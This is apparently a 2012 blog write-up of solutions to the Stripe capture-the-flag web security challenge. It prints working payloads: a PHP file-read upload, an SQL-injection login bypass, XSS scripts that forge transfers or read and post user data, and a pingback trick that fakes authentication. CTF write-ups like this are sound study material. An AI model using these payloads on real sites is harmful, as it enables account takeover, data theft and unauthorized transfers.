29 Aug 2012

Stripe CTF


lvl 0; Just use % as namespace to extract all keys for all namespaces.

lvl 1; used params pollution technique ?filename=/dev/null&attempt= - extract() is kind of register_globals so I just injected empty values and checked equality.

lvl 2; uploaded a file: <? echo file_get_contents('../password.txt');
and requested uploads/file.php

lvl 3; sql injection vulnerability, so I used this as username to pass all verifications:
' union select "1" as hash, "4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8" as password_hash, "1" as salt;--

lvl 4; I was trying to find an SQL injection and reading sequel docs to find a work around for their DSL(actually I found one, if I send to[]=target it will make an array to=[target] and you will be able to transfer money to your own account but it's useless) - and didn't get succeed, I was tired and went to sleep.
Next day I just read the rules again.

"If you're anything like karma_fountain, you'll find yourself logging in every minute to see what new and exciting developments are afoot on the platform"

They have a browser instance with karma_fountain, logging in every minute. I need to XSS that instance! exploit(I bypassed $^ regexp by putting it in username and transfering some money to karma_fountain):

<script>document.write('<form name=frm action="/user-akxiftjkdu/transfer" method=post><input name=to value=h><input name=amount value=2></form>'); frm.submit();</script>
validusername

bypassing Regexp with ^$ Others just put XSS in password field(which is exposed to users you transfered karma to)

lvl5; first of all the regexp for checking auth. response is weird:
body =~ /[^\w]AUTHENTICATED[^\w]*$/
and it requires non \w symbol at the beginning. I solved this quiz with double pingback to return *AUTHENTICATION\n
and uploaded z.php here:

<? echo '*AUTHENTICATED
';

and the nested pingback is:

https://level05-1.stripe-ctf.com/user-ypztjkdtuw/?pingback=https%3A%2F%2Flevel02-2.stripe-ctf.com%2Fuser-cfdidulhba%2Fuploads%2Fz.php

lvl6;
remembers me old issue in rails. Just avoid "'(or unescape or btoa/atob etc them) and you are done!:
</script><iframe src=https://level06-2.stripe-ctf.com/user-xpeqfhrpbl/user_info name=ifr onload=$(/#title/.source).val(123123);$(/#content/.source).val(btoa(ifr.document.querySelectorAll(/td/.source)[1].innerText));$(/#new_post/.source).submit();></iframe>

lvl7 - lvl8;
I didn't figure out that thing with padding extra message saving signature in SHA1. @titanous helped me - add extra '&waffle=liege' in the message and use logs of premium user(under /logs/1 path). I had no spare time for lvl8(but I wonder how hard was that - drop me a solution on email if you don't mind)

bonuses
1. There was XSS on stripe-ctf domain - $^ were used to verify user's URL.  Same thing found on answers.stripe.com(https://answers.stripe.com/users/homakov). Of course, reported.
2. When you change your Screen Name there is no check is a new one busy or not. So since I registered my account before @eevee and changed my username to @eevee - URL /progress/eevee will point to *my* account but stay #20 in leaderboard.
3. Smart guy found out that exception shows session secret: https://gist.github.com/3433619

It was interesting, thanks stripe!